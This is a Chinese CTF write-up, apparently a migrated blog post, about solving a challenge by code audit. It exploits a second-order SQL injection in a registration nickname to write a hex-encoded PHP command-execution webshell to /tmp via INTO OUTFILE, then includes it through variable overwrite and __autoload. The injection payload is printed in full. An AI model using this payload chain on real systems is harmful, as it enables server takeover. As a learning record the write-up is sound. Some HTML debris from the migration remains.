三个白帽之白猫抓flag鼠系列1第二期个人writeup(由我的老博客迁移过来)

演员列表:白猫甲、白猫乙、白猫丙、flag鼠 。
tips 1: 白猫三兄弟通过不懈努力,白猫甲找到 gebai;白猫乙找到san;白猫丙找到mao;于是他们打算组合一下去zip大叔哪儿寻找谜底;
tips 2:二次注入写 shell;
tips 3:降低难度,重新下载压缩包。利用 __autoload 特性;
tips 4:延长挑战时间,另附上部分学习思路:http://www.wooyun.org/bugs/wooyun-2010-0157024,http://drops.wooyun.org/tips/10564

以上是官方给出的tips,那么不用走太多弯路了,tips1很明确的告诉我们目录下有个sangebaomao.zip的文件,直接访问下载得到源码包。拿到源码接下来就是代码审计了,看到tips2就不用考虑太多其他的了,直接奔着二次注入去,这也算我第一次做代码审计吧(写得很搓,谅解)。

还好代码不是很多,大致翻看了下,既然是注入,那么就去找有数据库操作的文件,这里的文件就有注册文件和main.php,二次注入顾名思义就是先存入数据库,再从数据库读出从而造成注入,那么肯定就必须先有存入语句,再经过一次或者多次查询语句读出来。存入数据库的功能点和用户注册刚好契合啊,insert语句刚好就是存入数据的操作。

这里的sql语句有四个可控变量,继续跟进。

可以看到在main.php里再次利用到了变量注册时变量limit和name的值,那么我们就可以考虑从这两个变量下手了。

$name = $_SESSION['users'];$uid = $_SESSION['uid'];$num = $_SESSION['limit'];

注册成功后,登录成功了会自动从数据库中提取出users表中的name和limit字段的值通过session传值给main.php中的$name和$num变量。继续跟进,可以看到$name变量的值再次被存入数据库。

$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');";

而在这个地方又再次通过select语句读出了name字段的内容,同时limit后面我们还有一个可控变量$num,最后再结合limit后面的注入就可以成功getshell了。好了,到了这里数据库的操作基本理清了,下面就是构造exp了。

$sql = "select id,name,message from guestbook where uid=".$uid." order by id desc limit 0,".$num.";";

由于注册时官方用了 htmlspecialchars函数过滤变量,那么'<‘就用不了了,也就是不能完成php文件的格式了,那就只能转成16进制写入避免使用到尖括号。limit后面的注入可以直接跟into关键字写入文件,那么这样就会很方便,大概这也是出题人的原意吧。不过坑的是answer大牛的前面开路测试,发现web根目录是不可写的,这时tips3的作用又发挥出来了,想要拿shell是通过本地文件包含啊。平时pentest的时候都知道回收站,tmp这些目录权限有写权限,于是最终构造的exp如下:

)L0_9MIGCUTA)I5W}$%XK98

nickname:abc',0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e)#
limit:10 into outfile '/tmp/shadow.php'

注册成功后,登录提交message,好了,大功告成,shell已经写入了,怎么包含出来呢?根据tips继续滚去看代码吧 !经过团队大牛的提示,上网查了下PHP魔术函数__autoload(),利用这个函数可以让某个类在你实例化对象之前自动加载制定的文件。

$sangebaimao = new $action();

可以看到在main.php中对这个类实例化了!

<!--?php function __autoload($classname) { $filename = $classname .".php"; include_once($filename); } function filter($input) { return $input; } function errorBox($message) { echo $message; } foreach(array('_GET','_POST','_COOKIE') as $key){ foreach($$key as $k =&gt; $v){ 
        if(is_array($v)){ 
            errorBox("hello,sangebaimao!"); 
        }else{ 
            $k[0] !='_'?$$k = addslashes($v):$$k = ""; 
        } 
    } 
}

&lt;/pre&gt;
&lt;p&gt;结合这个文件可以看到存在变量覆盖,我们有一个可控变量参数$classname,也就是main.php中的$action,那么我们可以直接利用变量覆盖和autoload去包含已经传上去的/tmp目录下的已经上传上去的jkl.php文件!到了这flag真的就在眼前了!但是这里居然还有一个坑!写入的一句话连接必要带上cookie!卧槽 菜刀哪tm来的带入cookies的功能?!那么我们就可以利用浏览器自动保存cookie的功能,写入一个能执行命令的函数就是了,只要能读到flag就ok啦!经过一番波折,最终成功拿到flag!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://icematcha.win/wp-content/uploads/2016/07/1YS5ZTOSMHA7VUQN5ZS-1-300x95.png" alt="1YS5ZTOSMHA7~V}[U{QN5ZS" width="300" height="95" class="alignnone size-medium wp-image-84" ?-->

后记:第一次做代码审计,思路有点跳跃,不过还是记录下来,以后自己也可以回顾。 哈哈


					

三个白帽之白猫抓flag鼠系列1第二期个人writeup(由我的老博客迁移过来)》有1个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注